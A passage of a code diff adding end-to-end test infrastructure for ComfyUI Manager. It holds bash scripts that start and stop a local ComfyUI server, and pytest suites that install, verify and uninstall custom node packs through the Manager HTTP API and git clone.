if kill -0 "$OLD_PID" 2>/dev/null; then
|
||||
kill "$OLD_PID" 2>/dev/null || true
|
||||
sleep 2
|
||||
fi
|
||||
fi
|
||||
# Fallback: kill by port pattern
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
pkill -f "main\\.py.*--port $PORT" 2>/dev/null || true
|
||||
sleep 2
|
||||
fi
|
||||
# Final check
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
die "Port $PORT is still in use after cleanup attempt"
|
||||
fi
|
||||
log "Port $PORT cleared."
|
||||
fi
|
||||
|
||||
# --- Start ComfyUI ---
|
||||
log "Starting ComfyUI on port $PORT..."
|
||||
|
||||
# Create empty log file (ensures tail -f works from the start)
|
||||
: > "$LOG_FILE"
|
||||
|
||||
# Launch with unbuffered Python output so log lines appear immediately
|
||||
PYTHONUNBUFFERED=1 \
|
||||
HOME="$E2E_ROOT/home" \
|
||||
nohup "$PY" "$COMFY_DIR/main.py" \
|
||||
--cpu \
|
||||
--enable-manager \
|
||||
--port "$PORT" \
|
||||
> "$LOG_FILE" 2>&1 &
|
||||
COMFYUI_PID=$!
|
||||
|
||||
echo "$COMFYUI_PID" > "$PID_FILE"
|
||||
log "ComfyUI PID=$COMFYUI_PID, log=$LOG_FILE"
|
||||
|
||||
# Verify process didn't crash immediately
|
||||
sleep 1
|
||||
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
err "ComfyUI process died immediately. Last 30 lines of log:"
|
||||
tail -n 30 "$LOG_FILE" >&2
|
||||
rm -f "$PID_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# --- Block until ready ---
|
||||
# tail -n +1 -f: read from file start AND follow new content (no race condition)
|
||||
# grep -q -m1: exit on first match → tail gets SIGPIPE → pipeline ends
|
||||
# timeout: kill the pipeline after TIMEOUT seconds
|
||||
log "Waiting up to ${TIMEOUT}s for ComfyUI to become ready..."
|
||||
|
||||
if timeout "$TIMEOUT" bash -c \
|
||||
"tail -n +1 -f '$LOG_FILE' 2>/dev/null | grep -q -m1 'To see the GUI'"; then
|
||||
log "ComfyUI startup message detected."
|
||||
else
|
||||
err "Timeout (${TIMEOUT}s) waiting for ComfyUI. Last 30 lines of log:"
|
||||
tail -n 30 "$LOG_FILE" >&2
|
||||
kill "$COMFYUI_PID" 2>/dev/null || true
|
||||
rm -f "$PID_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Verify process is still alive after readiness detected
|
||||
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
err "ComfyUI process died after readiness signal. Last 30 lines:"
|
||||
tail -n 30 "$LOG_FILE" >&2
|
||||
rm -f "$PID_FILE"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Optional HTTP health check
|
||||
if command -v curl >/dev/null 2>&1; then
|
||||
if curl -sf "http://127.0.0.1:${PORT}/system_stats" >/dev/null 2>&1; then
|
||||
log "HTTP health check passed (/system_stats)"
|
||||
else
|
||||
log "HTTP health check skipped (endpoint not yet available, but startup message detected)"
|
||||
fi
|
||||
fi
|
||||
|
||||
log "ComfyUI is ready."
|
||||
echo "COMFYUI_PID=$COMFYUI_PID PORT=$PORT"
|
||||
Executable
+75
@@ -0,0 +1,75 @@
|
||||
#!/usr/bin/env bash
|
||||
# stop_comfyui.sh — Graceful ComfyUI shutdown for E2E tests
|
||||
#
|
||||
# Stops a ComfyUI process previously started by start_comfyui.sh.
|
||||
# Uses SIGTERM first, then SIGKILL after a grace period.
|
||||
#
|
||||
# Input env vars:
|
||||
# E2E_ROOT — (required) path to E2E environment
|
||||
# PORT — ComfyUI port for fallback pkill (default: 8199)
|
||||
#
|
||||
# Exit: 0=stopped, 1=failed
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PORT="${PORT:-8199}"
|
||||
GRACE_PERIOD=10
|
||||
|
||||
# --- Logging helpers ---
|
||||
log() { echo "[stop_comfyui] $*"; }
|
||||
err() { echo "[stop_comfyui] ERROR: $*" >&2; }
|
||||
die() { err "$@"; exit 1; }
|
||||
|
||||
# --- Validate ---
|
||||
[[ -n "${E2E_ROOT:-}" ]] || die "E2E_ROOT is not set"
|
||||
|
||||
PID_FILE="$E2E_ROOT/logs/comfyui.pid"
|
||||
|
||||
# --- Read PID ---
|
||||
COMFYUI_PID=""
|
||||
if [[ -f "$PID_FILE" ]]; then
|
||||
COMFYUI_PID="$(cat "$PID_FILE")"
|
||||
log "Read PID=$COMFYUI_PID from $PID_FILE"
|
||||
fi
|
||||
|
||||
# --- Graceful shutdown via SIGTERM ---
|
||||
if [[ -n "$COMFYUI_PID" ]] && kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
log "Sending SIGTERM to PID $COMFYUI_PID..."
|
||||
kill "$COMFYUI_PID" 2>/dev/null || true
|
||||
|
||||
# Wait for graceful shutdown
|
||||
elapsed=0
|
||||
while kill -0 "$COMFYUI_PID" 2>/dev/null && [[ "$elapsed" -lt "$GRACE_PERIOD" ]]; do
|
||||
sleep 1
|
||||
elapsed=$((elapsed + 1))
|
||||
done
|
||||
|
||||
# Force kill if still alive
|
||||
if kill -0 "$COMFYUI_PID" 2>/dev/null; then
|
||||
log "Process still alive after ${GRACE_PERIOD}s. Sending SIGKILL..."
|
||||
kill -9 "$COMFYUI_PID" 2>/dev/null || true
|
||||
sleep 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# --- Fallback: kill by port pattern ---
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
log "Port $PORT still in use. Attempting pkill fallback..."
|
||||
pkill -f "main\\.py.*--port $PORT" 2>/dev/null || true
|
||||
sleep 2
|
||||
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
pkill -9 -f "main\\.py.*--port $PORT" 2>/dev/null || true
|
||||
sleep 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# --- Cleanup PID file ---
|
||||
rm -f "$PID_FILE"
|
||||
|
||||
# --- Verify port is free ---
|
||||
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
|
||||
die "Port $PORT is still in use after shutdown"
|
||||
fi
|
||||
|
||||
log "ComfyUI stopped."
|
||||
@@ -0,0 +1,306 @@
|
||||
"""E2E tests for ComfyUI Manager HTTP API endpoints (install/uninstall).
|
||||
|
||||
Starts a real ComfyUI instance, exercises the task-queue-based install
|
||||
and uninstall endpoints, then verifies the results via the installed-list
|
||||
endpoint and filesystem checks.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Install test methodology follows the main comfyui-manager test suite
|
||||
(tests/glob/test_queue_task_api.py):
|
||||
- Uses a CNR-registered package with proper version-based install
|
||||
- Verifies .tracking file for CNR installs
|
||||
- Checks installed-list API with cnr_id matching
|
||||
- Cleans up .disabled/ directory entries
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_endpoint.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
# CNR-registered package with multiple versions, no heavy dependencies.
|
||||
# Same test package used by the main comfyui-manager test suite.
|
||||
PACK_ID = "ComfyUI_SigmoidOffsetScheduler"
|
||||
PACK_DIR_NAME = "ComfyUI_SigmoidOffsetScheduler"
|
||||
PACK_CNR_ID = "comfyui_sigmoidoffsetscheduler"
|
||||
PACK_VERSION = "1.0.1"
|
||||
|
||||
# Polling configuration for async task completion
|
||||
POLL_TIMEOUT = 30 # max seconds to wait for an operation
|
||||
POLL_INTERVAL = 0.5 # seconds between polls
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI and return its PID."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI."""
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
def _queue_task(task: dict) -> None:
|
||||
"""Queue a task and start the worker."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/task",
|
||||
json=task,
|
||||
timeout=10,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
requests.get(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
|
||||
|
||||
|
||||
def _remove_pack(name: str) -> None:
|
||||
"""Remove a node pack directory and any .disabled/ entries."""
|
||||
# Active directory
|
||||
path = os.path.join(CUSTOM_NODES, name)
|
||||
if os.path.islink(path):
|
||||
os.unlink(path)
|
||||
elif os.path.isdir(path):
|
||||
shutil.rmtree(path, ignore_errors=True)
|
||||
# .disabled/ entries (CNR versioned + nightly)
|
||||
disabled_dir = os.path.join(CUSTOM_NODES, ".disabled")
|
||||
if os.path.isdir(disabled_dir):
|
||||
cnr_lower = name.lower().replace("_", "").replace("-", "")
|
||||
for entry in os.listdir(disabled_dir):
|
||||
entry_lower = entry.lower().replace("_", "").replace("-", "")
|
||||
if entry_lower.startswith(cnr_lower):
|
||||
entry_path = os.path.join(disabled_dir, entry)
|
||||
if os.path.isdir(entry_path):
|
||||
shutil.rmtree(entry_path, ignore_errors=True)
|
||||
|
||||
|
||||
def _pack_exists(name: str) -> bool:
|
||||
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
|
||||
|
||||
|
||||
def _has_tracking(name: str) -> bool:
|
||||
"""Check if the pack has a .tracking file (CNR install marker)."""
|
||||
return os.path.isfile(os.path.join(CUSTOM_NODES, name, ".tracking"))
|
||||
|
||||
|
||||
def _wait_for(predicate, timeout=POLL_TIMEOUT, interval=POLL_INTERVAL):
|
||||
"""Poll *predicate* until it returns True or *timeout* seconds elapse.
|
||||
|
||||
Returns True if predicate was satisfied, False on timeout.
|
||||
"""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if predicate():
|
||||
return True
|
||||
time.sleep(interval)
|
||||
return False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Start ComfyUI once for the module, stop after all tests."""
|
||||
_remove_pack(PACK_DIR_NAME)
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
_remove_pack(PACK_DIR_NAME)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
class TestEndpointInstallUninstall:
|
||||
"""Install and uninstall via HTTP endpoints on a running ComfyUI.
|
||||
|
||||
Follows the same methodology as tests/glob/test_queue_task_api.py in
|
||||
the main comfyui-manager repo: CNR version-based install, .tracking
|
||||
verification, installed-list API check.
|
||||
"""
|
||||
|
||||
def test_install_via_endpoint(self, comfyui):
|
||||
"""POST /v2/manager/queue/task (install) -> pack appears on disk with .tracking."""
|
||||
_remove_pack(PACK_DIR_NAME)
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-install",
|
||||
"client_id": "e2e-install",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": PACK_ID,
|
||||
"version": PACK_VERSION,
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
},
|
||||
})
|
||||
assert _wait_for(
|
||||
lambda: _pack_exists(PACK_DIR_NAME),
|
||||
), f"{PACK_DIR_NAME} not found in custom_nodes within {POLL_TIMEOUT}s"
|
||||
assert _has_tracking(PACK_DIR_NAME), f"{PACK_DIR_NAME} missing .tracking (not a CNR install?)"
|
||||
|
||||
def test_installed_list_shows_pack(self, comfyui):
|
||||
"""GET /v2/customnode/installed includes the installed pack."""
|
||||
if not _pack_exists(PACK_DIR_NAME):
|
||||
pytest.skip("Pack not installed (previous test may have failed)")
|
||||
|
||||
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
resp.raise_for_status()
|
||||
installed = resp.json()
|
||||
|
||||
# Match by cnr_id (case-insensitive) following main repo pattern
|
||||
package_found = any(
|
||||
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
|
||||
for pkg in installed.values()
|
||||
if isinstance(pkg, dict) and pkg.get("cnr_id")
|
||||
)
|
||||
assert package_found, (
|
||||
f"{PACK_CNR_ID} not found in installed list: {list(installed.keys())}"
|
||||
)
|
||||
|
||||
def test_uninstall_via_endpoint(self, comfyui):
|
||||
"""POST /v2/manager/queue/task (uninstall) -> pack removed from disk."""
|
||||
if not _pack_exists(PACK_DIR_NAME):
|
||||
pytest.skip("Pack not installed (previous test may have failed)")
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-uninstall",
|
||||
"client_id": "e2e-uninstall",
|
||||
"kind": "uninstall",
|
||||
"params": {
|
||||
"node_name": PACK_CNR_ID,
|
||||
},
|
||||
})
|
||||
assert _wait_for(
|
||||
lambda: not _pack_exists(PACK_DIR_NAME),
|
||||
), f"{PACK_DIR_NAME} still exists after uninstall ({POLL_TIMEOUT}s timeout)"
|
||||
|
||||
def test_installed_list_after_uninstall(self, comfyui):
|
||||
"""After uninstall, pack no longer appears in installed list."""
|
||||
if _pack_exists(PACK_DIR_NAME):
|
||||
pytest.skip("Pack still exists (previous test may have failed)")
|
||||
|
||||
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
resp.raise_for_status()
|
||||
installed = resp.json()
|
||||
|
||||
package_found = any(
|
||||
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
|
||||
for pkg in installed.values()
|
||||
if isinstance(pkg, dict) and pkg.get("cnr_id")
|
||||
)
|
||||
assert not package_found, f"{PACK_CNR_ID} still in installed list after uninstall"
|
||||
|
||||
def test_install_uninstall_cycle(self, comfyui):
|
||||
"""Complete install/uninstall cycle in a single test."""
|
||||
_remove_pack(PACK_DIR_NAME)
|
||||
|
||||
# Install
|
||||
_queue_task({
|
||||
"ui_id": "e2e-cycle-install",
|
||||
"client_id": "e2e-cycle",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": PACK_ID,
|
||||
"version": PACK_VERSION,
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
},
|
||||
})
|
||||
assert _wait_for(
|
||||
lambda: _pack_exists(PACK_DIR_NAME),
|
||||
), f"Pack not installed within {POLL_TIMEOUT}s"
|
||||
assert _has_tracking(PACK_DIR_NAME), "Pack missing .tracking"
|
||||
|
||||
# Verify in installed list
|
||||
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
|
||||
resp.raise_for_status()
|
||||
installed = resp.json()
|
||||
package_found = any(
|
||||
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
|
||||
for pkg in installed.values()
|
||||
if isinstance(pkg, dict) and pkg.get("cnr_id")
|
||||
)
|
||||
assert package_found, f"{PACK_CNR_ID} not in installed list"
|
||||
|
||||
# Uninstall
|
||||
_queue_task({
|
||||
"ui_id": "e2e-cycle-uninstall",
|
||||
"client_id": "e2e-cycle",
|
||||
"kind": "uninstall",
|
||||
"params": {
|
||||
"node_name": PACK_CNR_ID,
|
||||
},
|
||||
})
|
||||
assert _wait_for(
|
||||
lambda: not _pack_exists(PACK_DIR_NAME),
|
||||
), f"Pack not uninstalled within {POLL_TIMEOUT}s"
|
||||
|
||||
|
||||
class TestEndpointStartup:
|
||||
"""Verify ComfyUI startup with unified resolver."""
|
||||
|
||||
def test_comfyui_started(self, comfyui):
|
||||
"""ComfyUI is running and responds to health check."""
|
||||
resp = requests.get(f"{BASE_URL}/system_stats", timeout=10)
|
||||
assert resp.status_code == 200
|
||||
|
||||
def test_startup_resolver_ran(self, comfyui):
|
||||
"""Startup log contains unified resolver output."""
|
||||
log_path = os.path.join(E2E_ROOT, "logs", "comfyui.log")
|
||||
with open(log_path) as f:
|
||||
log = f.read()
|
||||
assert "[UnifiedDepResolver]" in log
|
||||
assert "startup batch resolution succeeded" in log
|
||||
@@ -0,0 +1,273 @@
|
||||
"""E2E tests for git-clone-based node installation via ComfyUI Manager API.
|
||||
|
||||
Starts a real ComfyUI instance and installs custom nodes by URL (nightly mode),
|
||||
which triggers git_helper.py as a subprocess. This is the code path that crashed
|
||||
on Windows with ModuleNotFoundError (Phase 1) and exit 128 (Phase 2).
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.py).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Supply-chain safety policy:
|
||||
Only install from verified, controllable authors (ltdrdata).
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_git_clone.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
|
||||
PORT = 8198 # Different port from endpoint tests to avoid conflicts
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
REPO_TEST1 = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
|
||||
PACK_TEST1 = "nodepack-test1-do-not-install"
|
||||
|
||||
POLL_TIMEOUT = 60
|
||||
POLL_INTERVAL = 1.0
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_comfyui_proc: subprocess.Popen | None = None
|
||||
|
||||
|
||||
def _venv_python() -> str:
|
||||
if sys.platform == "win32":
|
||||
return os.path.join(E2E_ROOT, "venv", "Scripts", "python.exe")
|
||||
return os.path.join(E2E_ROOT, "venv", "bin", "python")
|
||||
|
||||
|
||||
def _cm_cli_path() -> str:
|
||||
if sys.platform == "win32":
|
||||
return os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
|
||||
return os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
|
||||
|
||||
|
||||
def _ensure_cache():
|
||||
"""Run cm-cli update-cache (blocking) to populate Manager cache before tests."""
|
||||
env = {**os.environ, "COMFYUI_PATH": COMFYUI_PATH}
|
||||
r = subprocess.run(
|
||||
[_cm_cli_path(), "update-cache"],
|
||||
capture_output=True, text=True, timeout=120, env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"update-cache failed:\n{r.stderr}")
|
||||
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI via Popen (cross-platform, no bash dependency)."""
|
||||
global _comfyui_proc # noqa: PLW0603
|
||||
log_dir = os.path.join(E2E_ROOT, "logs")
|
||||
os.makedirs(log_dir, exist_ok=True)
|
||||
log_file = open(os.path.join(log_dir, "comfyui.log"), "w") # noqa: SIM115
|
||||
|
||||
env = {
|
||||
**os.environ,
|
||||
"COMFYUI_PATH": COMFYUI_PATH,
|
||||
"PYTHONUNBUFFERED": "1",
|
||||
}
|
||||
_comfyui_proc = subprocess.Popen(
|
||||
[_venv_python(), "-u", os.path.join(COMFYUI_PATH, "main.py"),
|
||||
"--listen", "127.0.0.1", "--port", str(PORT),
|
||||
"--cpu", "--enable-manager"],
|
||||
stdout=log_file, stderr=subprocess.STDOUT,
|
||||
env=env,
|
||||
)
|
||||
# Wait for server to be ready.
|
||||
# Manager may restart ComfyUI after startup dependency install (exit 0 → re-launch).
|
||||
# If the process exits with code 0, keep polling — the restarted process will bind the port.
|
||||
deadline = time.monotonic() + 120
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
r = requests.get(f"{BASE_URL}/system_stats", timeout=2)
|
||||
if r.status_code == 200:
|
||||
return _comfyui_proc.pid
|
||||
except requests.ConnectionError:
|
||||
pass
|
||||
if _comfyui_proc.poll() is not None:
|
||||
if _comfyui_proc.returncode != 0:
|
||||
log_file.close()
|
||||
log_content = open(os.path.join(log_dir, "comfyui.log")).read()[-2000:] # noqa: SIM115
|
||||
raise RuntimeError(
|
||||
f"ComfyUI exited with code {_comfyui_proc.returncode}:\n{log_content}"
|
||||
)
|
||||
# exit 0 = Manager restart. Keep polling for the restarted process.
|
||||
time.sleep(1)
|
||||
log_file.close()
|
||||
log_content = open(os.path.join(log_dir, "comfyui.log")).read()[-2000:] # noqa: SIM115
|
||||
raise RuntimeError(f"ComfyUI did not start within 120s. Log:\n{log_content}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI process."""
|
||||
global _comfyui_proc # noqa: PLW0603
|
||||
if _comfyui_proc is None:
|
||||
return
|
||||
_comfyui_proc.terminate()
|
||||
try:
|
||||
_comfyui_proc.wait(timeout=10)
|
||||
except subprocess.TimeoutExpired:
|
||||
_comfyui_proc.kill()
|
||||
_comfyui_proc = None
|
||||
|
||||
|
||||
def _queue_task(task: dict) -> None:
|
||||
"""Queue a Manager task and start the worker."""
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/queue/task", json=task, timeout=10)
|
||||
resp.raise_for_status()
|
||||
requests.get(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
|
||||
|
||||
|
||||
def _remove_pack(name: str) -> None:
|
||||
"""Remove a node pack from custom_nodes.
|
||||
|
||||
On Windows, file locks (antivirus, git handles) can prevent immediate
|
||||
deletion. Strategy: retry rmtree, then fall back to rename (moves the
|
||||
directory out of the resolver's scan path so stale deps don't leak).
|
||||
"""
|
||||
path = os.path.join(CUSTOM_NODES, name)
|
||||
if os.path.islink(path):
|
||||
os.unlink(path)
|
||||
return
|
||||
if not os.path.isdir(path):
|
||||
return
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(path)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
# Fallback: rename out of custom_nodes so resolver won't scan it
|
||||
import uuid
|
||||
trash = os.path.join(CUSTOM_NODES, f".trash_{uuid.uuid4().hex[:8]}")
|
||||
try:
|
||||
os.rename(path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(path, ignore_errors=True)
|
||||
|
||||
|
||||
def _pack_exists(name: str) -> bool:
|
||||
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
|
||||
|
||||
|
||||
def _wait_for(predicate, timeout=POLL_TIMEOUT, interval=POLL_INTERVAL):
|
||||
"""Poll predicate until True or timeout."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if predicate():
|
||||
return True
|
||||
time.sleep(interval)
|
||||
return False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
"""Populate cache, start ComfyUI, stop after all tests."""
|
||||
_remove_pack(PACK_TEST1)
|
||||
_ensure_cache()
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
_remove_pack(PACK_TEST1)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Tests: nightly (URL) install via Manager API → git_helper.py subprocess
|
||||
#
|
||||
# Single sequential test to avoid autouse cleanup races. The task queue
|
||||
# is async so we poll for completion between steps.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_INSTALL_PARAMS = {
|
||||
"id": PACK_TEST1,
|
||||
"selected_version": "nightly",
|
||||
"mode": "remote",
|
||||
"channel": "default",
|
||||
"repository": REPO_TEST1,
|
||||
"version": "1.0.0",
|
||||
}
|
||||
|
||||
|
||||
class TestNightlyInstallCycle:
|
||||
"""Full nightly install/verify/uninstall cycle in one test class.
|
||||
|
||||
Tests MUST run in order (install → verify → uninstall). pytest preserves
|
||||
method definition order within a class.
|
||||
"""
|
||||
|
||||
def test_01_nightly_install(self, comfyui):
|
||||
"""Nightly install should git-clone the repo into custom_nodes."""
|
||||
_remove_pack(PACK_TEST1)
|
||||
assert not _pack_exists(PACK_TEST1), (
|
||||
f"Failed to clean {PACK_TEST1} — file locks may be holding the directory"
|
||||
)
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-nightly-install",
|
||||
"client_id": "e2e-nightly",
|
||||
"kind": "install",
|
||||
"params": _INSTALL_PARAMS,
|
||||
})
|
||||
|
||||
assert _wait_for(lambda: _pack_exists(PACK_TEST1)), (
|
||||
f"{PACK_TEST1} not cloned within {POLL_TIMEOUT}s"
|
||||
)
|
||||
|
||||
# Verify .git directory exists (git clone, not zip download)
|
||||
git_dir = os.path.join(CUSTOM_NODES, PACK_TEST1, ".git")
|
||||
assert os.path.isdir(git_dir), "No .git directory — not a git clone"
|
||||
|
||||
def test_02_no_module_error(self, comfyui):
|
||||
"""Server log must not contain ModuleNotFoundError (Phase 1 regression)."""
|
||||
log_path = os.path.join(E2E_ROOT, "logs", "comfyui.log")
|
||||
if not os.path.isfile(log_path):
|
||||
pytest.skip("Log file not found (server may use different log path)")
|
||||
|
||||
with open(log_path) as f:
|
||||
log = f.read()
|
||||
assert "ModuleNotFoundError" not in log, (
|
||||
"ModuleNotFoundError in server log — git_helper.py import isolation broken"
|
||||
)
|
||||
|
||||
def test_03_nightly_uninstall(self, comfyui):
|
||||
"""Uninstall the nightly-installed pack."""
|
||||
if not _pack_exists(PACK_TEST1):
|
||||
pytest.skip("Pack not installed (previous test may have failed)")
|
||||
|
||||
_queue_task({
|
||||
"ui_id": "e2e-nightly-uninst",
|
||||
"client_id": "e2e-nightly",
|
||||
"kind": "uninstall",
|
||||
"params": {
|
||||
"node_name": PACK_TEST1,
|
||||
},
|
||||
})
|
||||
assert _wait_for(lambda: not _pack_exists(PACK_TEST1)), (
|
||||
f"{PACK_TEST1} still exists after uninstall ({POLL_TIMEOUT}s timeout)"
|
||||
)
|
||||
@@ -0,0 +1,325 @@
|
||||
"""E2E tests for cm-cli --uv-compile across all supported commands.
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Supply-chain safety policy:
|
||||
To prevent supply-chain attacks, E2E tests MUST only install node packs
|
||||
from verified, controllable authors (ltdrdata, comfyanonymous, etc.).
|
||||
Currently this suite uses only ltdrdata's dedicated test packs
|
||||
(nodepack-test1-do-not-install, nodepack-test2-do-not-install) which
|
||||
are intentionally designed for conflict testing and contain no
|
||||
executable code. Adding packs from unverified sources is prohibited.
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_uv_compile.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
import pytest
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
|
||||
# Cross-platform: resolve cm-cli executable in venv
|
||||
if E2E_ROOT:
|
||||
if sys.platform == "win32":
|
||||
CM_CLI = os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
|
||||
else:
|
||||
